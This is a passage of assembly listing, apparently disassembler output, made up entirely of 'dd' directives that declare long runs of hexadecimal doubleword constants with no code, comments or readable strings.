		dd 0EF97C220h, 2123E8F6h, 7E785B49h, 0AA655910h, 59196C04h
		dd 37F7F70Eh, 0F23558D5h, 7DA4BBFEh, 63B619A4h,	9149757Dh
		dd 87C0CD17h, 39E27EDEh, 0D0DDE872h, 0BCC56DACh, 90947BD5h
		dd 2E078C15h, 58126ED8h, 43B159D4h, 94987D2Bh, 305404DCh
		dd 84F123C1h, 85821F0Dh, 3C37EE78h, 990E7F44h, 0E9F60A65h
		dd 0BF0BAEA3h, 0A87259AEh, 0FF905AC4h, 54AFB7F0h, 0B4C7E7C2h
		dd 297BA1D6h, 0E913ECA8h, 0F5A615FCh, 49BF192Bh, 864286CFh
		dd 0FEE79122h, 3DE3BE0Bh, 5789DC11h, 0E2F20042h, 9AEF31D0h
		dd 0FB18928Eh, 45D92A4Ah, 8C762D5Eh, 0DED9ACF0h, 0AD049BD3h
		dd 45439801h, 0F42A3F8h, 72391B1Ah, 86666BADh, 314E9021h
		dd 9C7A1CA3h, 81359757h, 8A28CC9Eh, 0BAA2F01Ah,	3A2D0004h
		dd 7F415F36h, 0E8FB615Fh, 58D5EC90h, 669E57C8h,	9515035Fh
		dd 0A174464Eh, 0D5E672C5h, 74EC260Fh, 0DC0468EBh, 431B2DFCh
		dd 5A25D225h, 0FB205193h, 0A0AF5D88h, 0B6AED1C0h, 7EF0DDF1h
		dd 0E2D60D43h, 484519FFh, 7D068E1Bh, 44188F50h,	9D2D2CEAh
		dd 0D4545250h, 2CF0E8CAh, 76CF2A95h, 5367C13Bh,	0A05310CCh
		dd 0B77201CFh, 0A4C5E1h, 9C9E28AFh, 0E83EDACDh,	1934BD58h
		dd 96D41ECCh, 4D162035h, 63A2C8ECh, 2E224A29h, 0B8C322Eh
		dd 8C64BFC5h, 0CD81CDD0h, 71335B36h, 0CC963FC1h, 0D15DAF79h
		dd 0E8E13650h, 0BEB1D26h, 5045231Fh, 0E9D82DE1h, 3265C3D5h
		dd 0B5D31F1Ch, 0F30441D5h, 0AF51A78h, 2FB94005h, 58C6D766h
		dd 8DCCBC61h, 777CB863h, 7A122B38h, 5581FC1Dh, 81496994h
		dd 2EB22F3Fh, 0E41383BAh, 8D8B7B35h, 7266C6B4h,	85A1829Eh
		dd 0E18B6530h, 0C47814A7h, 0D19070E6h, 0D5021E89h, 281A9CDDh
		dd 0D61B31FDh, 15548E67h, 0FB1E4B09h, 34A7B0A6h, 946BFAA9h
		dd 60F4CDE8h, 32AAF6F1h, 4FB71257h, 9AAA4422h, 0E0BAEE9Bh
		dd 23CF490h, 3AB42D56h,	71AA6897h, 0B8F1F431h, 0C4F7CC0Fh
		dd 5B58533Fh, 0D1006CBBh, 70655E88h, 985F8ED0h,	8D7518F5h
		dd 4D6A84E8h, 7157C190h, 7AD1A0B1h, 36CF447h, 103F1CB8h
		dd 32FA0EC1h, 66ECCC10h, 0D20EF104h, 9DEA517Bh,	0A2AE45BBh
		dd 0D42928CFh, 64A40400h, 2E6F4C11h, 0B1F8EDEBh, 6557167Dh
		dd 0DB312D5Eh, 0A70FD9FEh, 71DAC7D2h, 807E4D2h,	0C5B659FEh
		dd 106B6DECh, 53D23A5Eh, 83A47DBFh, 7AD4845Bh, 4AFB6513h
		dd 2F457F12h, 80740E8Fh, 0FF396B28h, 76912FCDh,	442A50E0h
		dd 579CE4C9h, 0D7C2E40Fh, 0BF8401E9h, 51695A0Ch, 3A669656h
		dd 0FF55229Dh, 0E7408D4Fh, 34D05566h, 988CE778h, 30D3099Ah
		dd 8CCE324h, 5482A9B9h,	1A32618Ah, 2AA15D35h, 0D118F0DBh
		dd 880C1BFDh, 0D7E1A01Ah, 7D4E41Ah, 302F55C2h, 0E82C44A8h
		dd 0E4A2B2EDh, 7135279Dh, 0D4FDC68h, 6726847h, 0C4EEEB6Dh
		dd 18F1A4C4h, 97A15007h, 0AB225EB9h, 0ABAA1161h, 0B696B2BAh
		dd 0C69BD898h, 2FF68DBh, 1CDDADDh, 0BA259EEFh, 3EE13610h
		dd 86EEAA92h, 0D9D94752h, 0DBCF19A2h, 0DECDBE48h, 0AA7FE83h
		dd 4B48AE74h, 79F2F554h, 25D7A2F8h, 3FCCE8DFh, 900FE7ABh
		dd 0BB8E4718h, 70AC02FEh, 5B08713Bh, 91955F6Ch,	502CA948h
		dd 5F478706h, 89EB57C8h, 0FA5C5EBFh, 8476A9B7h,	3A26A542h
		dd 0EB0D9462h, 437302CDh, 95074E42h, 188DEAAAh,	5E212C02h
		dd 7073A13Eh, 8BE770AEh, 0F054589Fh, 80BD9377h,	559D5B78h
		dd 2D063214h, 5BFCF67Ah, 0C57E8F77h, 1C57D612h,	30819332h
		dd 0B8B3C52Dh, 4878C47Eh, 0CB2E0310h, 1A1003DAh, 0D5506033h
		dd 6B21B03Bh, 0B88C7BA1h, 0A6902559h, 66E4CBCFh, 0D3FA79A3h
		dd 2CC61938h, 8555FED2h, 0AFD774B4h, 75621C9Ch,	0B96BBF84h
		dd 2A344D90h, 0E63D7931h, 0D36C8820h, 4D500B7Eh, 0D654509Bh
		dd 23120349h, 0E5F77E4h, 89105667h, 7B00621Ah, 0B91F777Eh
		dd 4FF6880Ah, 4ACDB2D9h, 0F8623D37h, 0F94BE310h, 0FA2DAC50h
		dd 0E399F848h, 0FD8528B4h, 0F352D0CAh, 58E63B14h, 0E9D205EBh
		dd 0E159FCFEh, 0A3726CCFh, 6C15F0AAh, 0BF1ED838h, 4C69BDCCh
		dd 0E2B5FF3Ah, 87C4825Bh, 3A96072Ah, 612B67D6h,	0C62C4426h
		dd 31DBE7F4h, 0EB25ADAAh, 6D70DCh, 0E4DB3AF6h, 0D8F3370Bh
		dd 0A18428Bh, 0CB75D3BEh, 24C54DD8h, 52324290h,	281D1792h
		dd 0C3C9F7F5h, 162B806Bh, 4644A2FFh, 3C796F76h,	0C86463E0h
		dd 48D30DA1h, 1B0E5135h, 0BAC223F7h, 38673119h,	94DF1DCh
		dd 3CBBDBA9h, 7A09B37Bh, 0AE9B91E0h, 6C7A902Ah,	0C6BE998Eh
		dd 1E6995D2h, 0EC8A3372h, 0AF10831Bh, 48937FC0h, 0F75C4C1Ah
		dd 48E170ADh, 3D30B547h, 0CC8C6398h, 686F3798h,	1998CC9h
		dd 0AFEE176Bh, 0FB26E8EDh, 73AC637Bh, 4ABF78FAh, 4A4923CBh
		dd 0C31833BBh, 0E39F9961h, 3005641Ah, 0F13D5F18h, 0DC483763h
		dd 8259C6C7h, 0FCA08511h, 0B907F7F9h, 0D0DF65A7h, 653741EBh
		dd 322196ACh, 75DAAF90h, 2833B2D6h, 26218633h, 7516C96Bh
		dd 0B52640ADh, 0E6A79351h, 784077EAh, 0A87C0EC5h, 2741D0Fh
		dd 0D525CC7Eh, 5F96F173h, 3AAEFE85h, 0FCD29B26h, 0CF57AE54h
		dd 0B08BD3C7h, 1FBA9FEDh, 51FFD682h, 0CF35C067h, 527A1BADh
		dd 0DC00B291h, 7C0FE0A3h, 0D94B7DA6h, 0E08CC095h, 0E2896047h
		dd 0C323DC2Ch, 9EA93068h, 436F0599h, 0D218D35Bh, 0D24EC61Ch
		dd 7A1EC1F4h, 37CFB13Ah, 799D419Bh, 0F7C73283h,	0E2E43361h
		dd 24E0B0CBh, 2D8DD49Ah, 453A4DD1h, 55C18096h, 15A6F2CAh
		dd 6D1EDF9Ah, 1A9FB86Dh, 0E11FFC9Bh, 53587B9h, 5FB22A0Dh
		dd 957655AFh, 0AD2968A5h, 0D1EDAE4Eh, 515688B3h, 24C75EF8h
		dd 2EE22500h, 4ABDEA05h, 0E408D11h, 3C4061EDh, 8350C3ADh
		dd 0E58128Fh, 67340389h, 272675C8h, 0A736F917h,	1A058C28h
		dd 806DD5F8h, 1870EB90h, 78C9DFADh, 0CEAC7558h,	0C0431D0Eh
		dd 0F56B3B3Dh, 1DDDE80Ch, 4C318385h, 1527C8B6h,	0FCBFE893h
		dd 9E1CCEBAh, 0D1C92B8Ch, 7645BD3Dh, 2B836E4h, 1A7F7875h
		dd 4DCC29D1h, 0BC9C5F8h, 3D847CCEh, 0B036AE39h,	6A59A14Bh
		dd 2F7F2217h, 0EA16DEA8h, 3BBFB12Ah, 0BC77127h,	0C0E5B46Ah
		dd 99A1C14Ch, 8D35653Eh, 23D6FD1Dh, 0DCD79894h,	805C647Ah
		dd 39F897FCh, 4F39A030h, 0EEF6B22Dh, 275E9830h,	88C2AB39h
		dd 9D7C181Bh, 921B38B0h, 0E3B6FCA1h, 0E4CD86A6h, 160846E3h
		dd 80385145h, 7806ED4Fh, 0FD6FCB38h, 0B0CA3092h, 1B423804h
		dd 6EAD41Eh, 80AD6C3Ah,	9B2C0C0Bh, 271FC2Ah, 1CF5938Eh
		dd 5371788Fh, 5B53F026h, 1DF2374Fh, 0A201523Eh,	448F8C4Bh
		dd 4FF0E0C8h, 3AF4F7DCh, 568F7A59h, 5A4ABD9h, 4E69CE43h
		dd 0DA8977Fh, 0D059C353h, 38F95A43h, 78B1E85Fh,	1B6ADB05h
		dd 0C6A32A0h, 6D831660h, 0A59255DCh, 23F07C1Eh,	67CE5EE5h
		dd 9D6514FAh, 4E5D77F2h, 0DA17F1B1h, 776E8104h,	0DF3C9F8Fh
		dd 4065EF85h, 0A088014Fh, 0F1406678h, 0E0C72C7Eh, 1CDA17DEh
		dd 7E5E4C01h, 0BA8608ACh, 0E717F08Fh, 0A32AA89Ah, 8B45AB8Ch
		dd 36745A9Dh, 9D11E4A1h, 6C40607Eh, 25B64973h, 63C3B04Ch
		dd 0D5C28950h, 5C0945CBh, 3B14B5E6h, 641AC24Ah,	804F93A8h
		dd 0A5A80FB6h, 967020D8h
		dd 6EA36987h, 40087882h, 113DCAEEh, 9F39DB65h, 0A26F9390h
		dd 752C5F6Eh, 2F9E45F9h, 0EEAEF712h, 0C6F2832Fh, 8DBA9826h
		dd 0A66EABB4h, 92342407h, 477D388Ah, 0B07A8FB2h, 6D8A2CCDh
		dd 0A13ECFBEh, 5D5B3BABh, 583B609Ch, 0D73BA478h, 8D3A0DAh
		dd 0CE8BAF8Eh, 15C4D031h, 16427D67h, 0E7ABC217h, 1B9C62A2h
		dd 18780E5Ch, 0EC5C99B0h, 0D3E96448h, 5B3A4529h, 0CFFD48D8h
		dd 9063D29Ch, 8B113434h, 6D909EB5h, 0EE10DC73h,	494A9EDAh
		dd 447318B5h, 65F82E07h, 0E2BD6575h, 0FE407F3Eh, 1BDE225h
		dd 54FA767h, 2FA6838Bh,	0FFB76D71h, 840856AFh, 159DDCA2h
		dd 0D142CE87h, 250451B1h, 2AA33FE1h, 2EEFB66Ah,	4FB1415Fh
		dd 0CACC06B1h, 3BA21BBAh, 8F0467C2h, 0D95B9BC3h, 440119D2h
		dd 8211F718h, 0CBD16D98h, 7221CCAFh, 0EA233A65h, 20AB0480h
		dd 70928F7h, 5EAFD114h,	66C5D1B6h, 0A454DE4Ch, 0CD5EED36h
		dd 37556F53h, 0FFA32423h, 0A9B0D6C9h, 0AB73140Eh, 302EF17Dh
		dd 0FB0ECBD3h, 1BC2A5F0h, 3792CCBEh, 429C3FCFh,	195EA144h
		dd 2FA8CB98h, 0D3B86E71h, 694C0D34h, 1A548BAAh,	68C72649h
		dd 87B47460h, 0A60781BDh, 4C987289h, 0B67EB791h, 4FDDFD52h
		dd 0BFC2B936h, 0E57E4E90h, 0D0A78996h, 0D16CFB5h, 84435DF9h
		dd 0C2134E93h, 0ECACF026h, 3C9A0B40h, 5A23EF80h, 23C88957h
		dd 0FE5A0C11h, 0D56F401Bh, 0E0BF61EEh, 5CCF7DCEh, 0B2E50426h
		dd 937E6A37h, 643CBA76h, 39C5D2ADh, 1814CCB8h, 0B1BA5953h
		dd 0B45BFB82h, 6F70EE4Bh, 78443734h, 461DBDA2h,	7BE96D82h
		dd 1A25290Bh, 0F877E2CCh, 0B9E1F78Eh, 38F9F22Bh, 0A3EAD411h
		dd 55E338EAh, 169AB722h, 0CA9B00B8h, 81757DA2h,	3FA53F02h
		dd 36C962B3h, 0E0B03B13h, 0FF22083Eh, 890DC630h, 0E7D3D46Eh
		dd 8B8F47D8h, 3238E32h,	0A36039B6h, 56EFFDD5h, 0F125A2CEh
		dd 0C83D54B7h, 2F95395Bh, 499BBD7Dh, 0DC76DDB2h, 82E6432Ch
		dd 8BEF15AEh, 6F0DFF03h, 7756021Ah, 20F20094h, 0E6482DBDh
		dd 0AF0DFAC9h, 89D81C86h, 591F73DAh, 0B65258A6h, 29E231D8h
		dd 546E66E3h, 0E31E98Ch, 4804F741h, 0BB46683h, 0D599F663h
		dd 0E987AC54h, 95B306F8h, 0D5FA767h, 618F42D6h,	5959C802h
		dd 0B8DDED32h, 42195088h, 9CE13B64h, 0C7B92343h, 0AFA3C8FDh
		dd 0EB808AC2h, 5545813Ah, 30333E05h, 21D71812h,	0C27B6CD4h
		dd 77EFBD96h, 0FBF310C2h, 0CEA10DECh, 0BBF2C035h, 1C510EAFh
		dd 0CACE8F01h, 0DE0C40F0h, 0FF9C68ECh, 0DC8F63F2h, 0DA5D66A0h
		dd 9A802A16h, 75DD2999h, 6F244969h, 8C3E5E10h, 9A896527h
		dd 0D7493FF9h, 80684EBh, 92BD8F9Fh, 630B83ABh, 91B62BBCh
		dd 80AE2C19h, 978F47EDh, 0E4F564FDh, 2E97564Dh,	5A943AB4h
		dd 0B149B51Ch, 536C018Fh, 0A464D4ABh, 0EBD6330Eh, 43E0F688h
		dd 0D3AE3468h, 0E9233094h, 0D9FF9557h, 0FEAA2C3Eh, 0C73BCED9h
		dd 94FE37E0h, 0F57FD198h, 885119C7h, 19398BE1h,	4B12D67Dh
		dd 0BB39F4ACh, 1EA223Ch, 0B7D462A7h, 0C19B9666h, 62BC1FD3h
		dd 0FC3452B9h, 441295D0h, 1516FDC7h, 662A2974h,	5495D959h
		dd 0B85E1932h, 0F1CCC63h, 8A1875F8h, 18137B6Ch,	0AED3D688h
		dd 692D6064h, 5C06137Ah, 7DBC9ADEh, 1CF2BE37h, 9051A25Eh
		dd 6338E7Fh, 19A8E628h,	0A042411Ch, 7850E136h, 0AF3C20D8h
		dd 16172A05h, 33FE5915h, 0AFCB2693h, 1B7B40BEh,	752D9BCCh
		dd 98472F55h, 0F11E31A3h, 9F91827Ch, 6FB3FB15h,	0FA79C79Ah
		dd 62EDC9Bh, 0DA6F88ECh, 6B2EE386h, 0F0D55561h,	1D1D33F3h
		dd 0E904E990h, 0D776BB0Dh, 0BE1A7DA0h, 32B35CB7h, 0FC7CE399h
		dd 8998107Ch, 0E400543Fh, 0C6C73EE8h, 5AD45709h, 0E2386938h
		dd 2C38AE53h, 920F9E89h, 89236F78h, 0D8E80C95h,	4051841h
		dd 9603A178h, 791E193Fh, 0D21DEFA3h, 5DDEFE41h,	55E246E4h
		dd 7FD2DB29h, 0EF70A72Eh, 1D2DAD51h, 3AC0767h, 90BFFBBDh
		dd 0D13BE1F4h, 0F7B51AF9h, 0DB1F7E9h, 0E99883A2h, 0D1DF8565h
		dd 90AF91B4h, 0F7EADD8Ch, 712464BAh, 0BEC23AD6h, 8D579FAh
		dd 3DA7D2D1h, 0AD5BAD97h, 0A6ADDD4Bh, 7EA2D403h, 4EAA6BF4h
		dd 940706C9h, 0FCE70B01h, 9C4DE559h, 0C18A6042h, 25A91877h
		dd 3D6024DFh, 0A2C5FCBCh, 0FFB8D049h, 5E1EF06h,	3E8F509Ah
		dd 0FABBEE40h, 0F27DE5BAh, 581F16C1h, 0B993AA29h, 0B9C87C63h
		dd 3E96F56Ch, 22B3F985h, 0A42CBB97h, 9D55DD8Fh,	1728CAB1h
		dd 0F9DBB70Ch, 0E5990322h, 0EF1724C9h, 0CF1CFEC9h, 0E722BBDDh
		dd 64FE103Bh, 0FEEBA7DFh, 0F31B0A50h, 0A51DBB56h, 95156071h
		dd 0DE2C71BEh, 0A4B62C2Ah, 3217E8FFh, 0E31C9FCBh, 0E217C92Ch
		dd 59A1AFC8h, 67FF319Eh, 185B5355h, 0B3793798h,	81F140ABh
		dd 51531416h, 0D836C4F8h, 6757F9D5h, 742298E3h,	7C54303Bh
		dd 0B587E6D9h, 0B5A5C86Ch, 7236C7D9h, 0AF25BD70h, 877FC14Fh
		dd 15DEB624h, 80238A90h, 0E8FF99D7h, 5102A8Fh, 0C70E4023h
		dd 0CED14C70h, 9EE30D70h, 0E6AE2DB5h, 81E5B66h,	0E0494701h
		dd 0C8F8C848h, 47D1615Dh, 68EB07A7h, 0AB8DF453h, 0AF2CDF15h
		dd 0B6D5A960h, 8F5611EFh, 0E97E0C45h, 5A0F72A4h, 0DD3C5172h
		dd 25813228h, 115866E2h, 50951C7Eh, 87BE0718h, 0DEEE24A2h
		dd 0FD47ED49h, 0FE6941Ch, 0C84ED02Ch, 865098DAh, 0D49CEFC2h
		dd 3CF8F46Dh, 0ED8A76E9h, 672BBC2Ah, 59E5F83Fh,	5D8481BDh
		dd 7470882h, 29172981h,	7A143360h, 3D3E9AD4h, 52B2A447h
		dd 8BEEBBCCh, 7C6CEDDFh, 0F8F15C63h, 581C29F3h,	5B7FD550h
		dd 447115DFh, 7697FFFDh, 5EF30F69h, 33D4BC37h, 1EC7147Fh
		dd 73221EFBh, 98B3851Dh, 5418EC62h, 0BB8A1848h,	0B7BBBCEAh
		dd 997ED2F1h, 0FB9791EEh, 1E42CB35h, 0D79FA64Dh, 0B4F80D19h
		dd 1F4125DCh, 0B9DD36AFh, 62F3EF5h, 7FE16197h, 6977A8ABh
		dd 19032DEDh, 23AB73D4h, 2CC52CBh, 5D2C7B8Fh, 90E931DDh
		dd 0AC897846h, 20F9A61Eh, 83BBB158h, 51B6BFB3h,	58A32B7Ah
		dd 0E0308201h, 5193B18Ch, 19DF7B64h, 1277D1A3h,	0E9F6493Fh
		dd 14024B38h, 2B881B53h, 94582F27h, 3D5CAF76h, 0B9B994DDh
		dd 13C56883h, 77D121F7h, 0A72D7FD8h, 2FE56637h,	0D3B9D67Ah
		dd 0EC72AD95h, 45D90EDDh, 7194400Eh, 0A3D918D2h, 0DD2EF4EDh
		dd 6FBA218Ch, 261E2055h, 12803D14h, 0C2242657h,	0D656185Dh
		dd 384DD40Ah, 2D65CE70h, 0FD0793E1h, 0D1FEB18Eh, 0B02E9F97h
		dd 0FE3B575Ch, 9438DAFBh, 0B02918DEh, 57720818h, 0CE3080C1h
		dd 69B1DA78h, 4C590296h, 0D90065B0h, 9833D894h,	97D6BAF9h
		dd 762912EDh, 0D7D672A2h, 7670FD6Ch, 0C2192DD3h, 0C025315Eh
		dd 223615CBh, 7F6346BEh, 0F42881C8h, 0EA5170ACh, 0B0E97312h
		dd 772726C6h, 0D169BB71h, 0E0B790ADh, 81AB5EA8h, 0DCF7FB99h
		dd 0A7EF9A71h, 0D2BEE24Ah, 9D0D885Ah, 426B512Bh, 0A0CEE7CFh
		dd 96807B85h, 9A68E3A0h, 93A7D14h, 0AD97A8A4h, 1A618796h
		dd 0A3B7DBBEh, 84C14AA0h, 2D8AF345h, 0C1CA5109h, 851094D4h
		dd 56DF7FBh, 0F13DA085h, 2C9313A5h, 0DDA59AC5h,	1319653Bh
		dd 0FF9176FBh, 0F9EB13D3h, 0A06C3919h, 7F8ED2CDh, 6771C2C4h
		dd 684A7C7Ch, 0E2686E1Bh, 0B58DC53h, 0B0EF4C4Eh, 0BB44E3CEh
		dd 0ADFFE020h, 0A7657658h, 26EEE066h, 0C0CB6A05h, 0A7AE8F1Dh
		dd 44B1871Eh, 7824E619h, 1BA8A219h, 0E33F49A8h,	5A830FD9h
		dd 14F0A422h, 0EFE0AFAEh, 776AEA15h, 39C49A87h,	8DDAE570h
		dd 0CA986246h, 890DFA19h
		dd 0C6F8B249h, 0EC483CCDh, 0D14DBD22h, 370226F4h, 54F706F3h
		dd 7996696Bh, 1BB42192h, 0B36261C4h, 5BA39ECh, 2C52956Eh
		dd 84E5854Fh, 0AD763B96h, 0B1F50A94h, 7B88E488h, 674C188Ah
		dd 23A8FFB8h, 0DDE15E00h, 74F03C95h, 0FAEAA748h, 0FE7C9FAFh
		dd 0F2F5438Ch, 5F3E3559h, 0C69FD923h, 93CCFBECh, 9523E048h
		dd 0ADEA6A6Bh, 630641ADh, 24922B1Dh, 96DF4286h,	1A6BF944h
		dd 6BB9CF0Fh, 1D0DA285h, 30A38996h, 0C2D06B66h,	8A22A2D5h
		dd 5739B5h, 5AEA5E56h, 0B6D37A51h, 7D199284h, 823261F5h
		dd 0A662364h, 209304Bh,	0C7A02E0Fh, 0B2215EBFh,	0C77FEDFDh
		dd 0AE8C415Ah, 22643723h, 2261F84Fh, 0ED218656h, 0EB5AAE4Bh
		dd 2725D5A9h, 5D436965h, 52226CBDh, 35495968h, 0AE42F94h
		dd 0BF488E7h, 0BFCA8842h, 9EBCB1A7h, 6CE268ABh,	8C89178Dh
		dd 605AD082h, 0E6E00907h, 0D288BCCAh, 85724690h, 0DD63AE0Ch
		dd 0DF90FECEh, 0C31B6132h, 0E39DF0FFh, 0CEBCFDABh, 0BDD3C6E5h
		dd 9E1188BAh, 730ACAAh,	0DD3F972Eh, 57EB1156h, 0AED1310Ch
		dd 4905633Ah, 0C318E558h, 4847735Dh, 0A8BD0C2Bh, 41FE7C2h
		dd 7F0B6977h, 11A5DCA1h, 6A8563ABh, 0AFE7ED5Fh,	0F667760Ah
		dd 0CF6397F6h, 0AA342BEFh, 0A52E63CCh, 1C7A51D7h, 0B7B9AF84h
		dd 0F288A404h, 4E32F12Bh, 0E4EDAAB2h, 47E09D5Ah, 9058BFA7h
		dd 0A020B658h, 0C11F1CAh, 0A126DD7h, 6751BA18h,	347A5497h
		dd 0B383351Dh, 0BB50FD7Eh, 8E036CDCh, 0F7D37D0Ch, 10170D16h
		dd 0E5888BDFh, 3BDD169Fh, 0C3C8CA38h, 0C3AFF571h, 0EF120FB1h
		dd 53D36F83h, 6A172374h, 0D17DD4E0h, 5F806C46h,	6C3D83EAh
		dd 44EDFF8Ch, 4F27761Ch, 0C61FAD2Eh, 9C95EE52h,	7C5A78B3h
		dd 12E4A33Ch, 0A62595E4h, 0CE00F361h, 25FF7F00h, 6FB596B7h
		dd 0E15C4F20h, 35DC74AAh, 7F8DE517h, 0AA8E8BA8h, 0E788B73Dh
		dd 4AEA37BDh, 13F7109Eh, 3F109C92h, 707CE4Eh, 0C5D0904Bh
		dd 4E0F1D39h, 892173A9h, 93B1804Ah, 90E81BBCh, 77E78F80h
		dd 3895ACF3h, 26A8F97h,	0C949C56Ah, 318FC774h, 0A2C42F5Dh
		dd 0C19CF1CBh, 0E310C3DCh, 0EA310443h, 0A2EF8625h, 32341ACDh
		dd 2250DAE4h, 0FC370EF1h, 1E11ED72h, 3ECA99B9h,	6B50BBDAh
		dd 0C7EF180Bh, 0A0FEE4E7h, 714A534Ch, 0F8C093BBh, 36B991E8h
		dd 56E22577h, 4DD6AAFCh, 0BF59405h, 7B0D70EFh, 92CE5046h
		dd 2F325DE1h, 8CD420A0h, 3AD4E056h, 3EC96B9Ah, 5BC7331Fh
		dd 2DCB7281h, 4139C5B6h, 0B1609420h, 2E855E2Ch,	77F269D8h
		dd 167EFB21h, 0FD7DE0A2h, 42D611D0h, 0F0A9A1F2h, 7D2A3FA0h
		dd 267D292Bh, 77E376F9h, 0FEA1BC7Dh, 3C835122h,	20F08100h
		dd 0AF069190h, 4B310C92h, 6F4E7F36h, 51B56D7Eh,	0BD47989Ch
		dd 4A88A019h, 545B376h,	0E84C9829h, 17835E00h, 75E9A845h
		dd 0A66B1B43h, 6BA5B45Dh, 0BA9639CAh, 0C6A0559Dh, 0FFA58A25h
		dd 755F040h, 36739FE2h,	0D565B254h, 53B3F46Ah, 9D1282B0h
		dd 0D773093Fh, 246CBD57h, 23511E3Dh, 13C9C64Bh,	326EB676h
		dd 204936ADh, 0CC89829Fh, 0C5B2E3FCh, 0A8D354CAh, 687C71E7h
		dd 827A678Dh, 6362E777h, 0CD32444Dh, 96522761h,	60D1FE75h
		dd 8D699441h, 0CF67072Ch, 8BE5BFBAh, 10C1BD3Dh,	0E6F4A51Ch
		dd 1AC52F62h, 0B53E5ED8h, 78245F69h, 0F415F261h, 837D3984h
		dd 813BC244h, 0AFE7CBD8h, 0BEFB4813h, 23A974E3h, 0CBFCD557h
		dd 4159C9F1h, 2DDE851Fh, 0FA41673h, 143C917Ah, 0FD8A7E5Bh
		dd 47AE8D16h, 0EB9F5FADh, 0D4DEBB5Bh, 0E29043D6h, 8525D728h
		dd 51A31E5Fh, 29F1CAF2h, 0FD4CEAD7h, 0FFAC96C8h, 557B0CF0h
		dd 41BD6A1Eh, 5C09294Bh, 2A16530Dh, 0DBEE9F58h,	0B513E877h
		dd 805F1A3Ah, 49901FC8h, 315A29E9h, 17E08209h, 0E4BBE502h
		dd 856748E7h, 0B7412777h, 1143A67Dh, 0AFECE7A0h, 648108F0h
		dd 0D785BB17h, 5B234530h, 0F7B2E10h, 7ADC3C18h,	289F55E0h
		dd 9CEC5CF6h, 69F7F38Bh, 963BB7A5h, 175DB0Dh, 0F73E6DE3h
		dd 66846C69h, 16D84389h, 9AB42C9h, 11F62D3Fh, 0E69896D6h
		dd 0A99B536Fh, 5618A559h, 0B99BBD28h, 0B64C2E63h, 16F25E80h
		dd 9F115E6Dh, 0E374C1EAh, 67E044FBh, 46F9661Ah,	0A051D9E4h
		dd 0AE1DA7F1h, 0ADF183E4h, 7A87F917h, 0A2196E02h, 5D9AFECAh
		dd 1E4AE914h, 817BDBF9h, 0B1C908B9h, 49EC8A5Bh,	10CB66A1h
		dd 92DE4ED1h, 0B9CDD163h, 0EB3AB2ABh, 8028CE6Ah, 519D13BAh
		dd 9A350244h, 1634360Dh, 792E6101h, 0D5E7D4D5h,	0A5F497F9h
		dd 3EF96820h, 0C5B5D1DEh, 2A20A5AFh, 5FD614B7h,	0F2E81859h
		dd 70DDF8D6h, 0C050D46Dh, 46AF4EF2h, 0E44A0CA6h, 0C9F2728Bh
		dd 9A3722B7h, 6BD02E24h, 0CEE8CAF2h, 12EFD979h,	2CA1B986h
		dd 0DBF36249h, 5850543h, 946ED124h, 1396577Bh, 0D910F102h
		dd 2C6DA0D9h, 89FA6D95h, 0C8B198F0h, 0E8D733C2h, 7D59828Bh
		dd 21102C74h, 8036C5BCh, 0BF5992A4h, 0EC7600F1h, 0C09D207Fh
		dd 559FB4ECh, 894C2BEEh, 133717E7h, 8B6E72EDh, 170095DDh
		dd 0A8C05A3Bh, 68466A99h, 0DC5EA741h, 8606583Fh, 7A4FAE3Bh
		dd 1252FD1Bh, 3F8467E0h, 0EBFF7A91h, 0D346D881h, 0F91AA249h
		dd 69C5C9CCh, 0BA8E0B46h, 9CC20E06h, 2E5D9490h,	85768AAFh
		dd 0BDF648B0h, 0CE3264BFh, 6C7B4207h, 9D73698Ch, 1442595Ah
		dd 0E1B84B7Ch, 4638158Bh, 0EB5144A0h, 0AF11B8Fh, 26D574Bh
		dd 3DFD7959h, 6240583Bh, 3245DB8Dh, 200EFD70h, 0CF32DE4Dh
		dd 0A75BE2BAh, 23010C5Eh, 39B4AB3Fh, 3DE2C040h,	782E24F6h
		dd 0D5C46A00h, 53E0D92Bh, 7C08CDCCh, 0F9B2CF36h, 0E7332A0h
		dd 0E24F0FE0h, 6EACB362h, 15A6782Bh, 2D01042Dh,	38A91A6Ah
		dd 6658E503h, 4693D4F6h, 0E00B3F41h, 99992AAAh,	90E46211h
		dd 0A1E765C5h, 7CBD2697h, 48713DCBh, 9A1A699Ch,	1ACB389h
		dd 22714138h, 4A618E3Ch, 0C91A6576h, 0A3585789h, 5D6A87C3h
		dd 144304AFh, 8692E4BBh, 0E0A73D28h, 0B96D3428h, 27D620E2h
		dd 93240865h, 6923731Eh, 0D26CE223h, 0C56804EBh, 98464A11h
		dd 6D234A40h, 495BBB00h, 0FFA56A16h, 1E120D5Bh,	5B76D26Ah
		dd 1A6E6F9h, 3240485Ch,	0CAA6A2E2h, 51F15988h, 9AECFB2Ah
		dd 0E8F0C2h, 0E74DB34Fh, 97217C3Ch, 21C26FB9h, 0D3A25B11h
		dd 0FBF5B2AEh, 0C9498F1Fh, 34144EFDh, 46171DD2h, 1BDD6F34h
		dd 89019634h, 3B7A9550h, 0C7ABF5EBh, 66C60261h,	92058F02h
		dd 9266616Dh, 0B01DD39h, 0D513AFADh, 0D10D816Bh, 3BCC535h
		dd 0FA50BD1Bh, 3B9C971Dh, 1A76A9A3h, 0FE4DD146h, 0F0757129h
		dd 3EA281FDh, 0D3333C06h, 0ECED3F56h, 734E1BE0h, 97BDD235h
		dd 0D5721EF4h, 4E04ECACh, 0C00612Fh, 99E96473h,	0D9EF413Ah
		dd 2B4B6BEFh, 37048925h, 0DBEDA0E1h, 90EDDCECh,	59526DAFh
		dd 0AE2C1392h, 0C4732E8Ah, 0F58F5227h, 40AC4304h, 0EFF894D4h
		dd 70F4A23Eh, 0E59189D7h, 0DA52B621h, 0ACBF9A1Ah, 0F0F20D70h
		dd 519CB30h, 0C51AE678h, 67714EF1h, 0A5FA16A1h,	10C112CBh
		dd 0D259428Bh, 51C1D2C8h, 0A7233E82h, 0E8F27E86h, 0EEC16CE2h
		dd 58548F0Ch, 3FE4B443h, 2941CF12h, 0A71C726Ah,	2818106Fh
		dd 0EBA464D5h, 4037B236h, 5EA25E04h, 0A9EF7D03h, 0AEB14214h
		dd 29296B57h, 187F2648h, 725A150Ch, 0BFCE50B9h,	0B89A0E68h
		dd 0A6550437h, 0C6AC8866h, 5D318D8Fh, 0D0B0A506h, 60696402h
		dd 9CF49D35h, 9C4E0109h, 7CD4E324h, 0FE7BB4BEh,	0EDE9C91h
		dd 61096C13h, 0B35BA183h
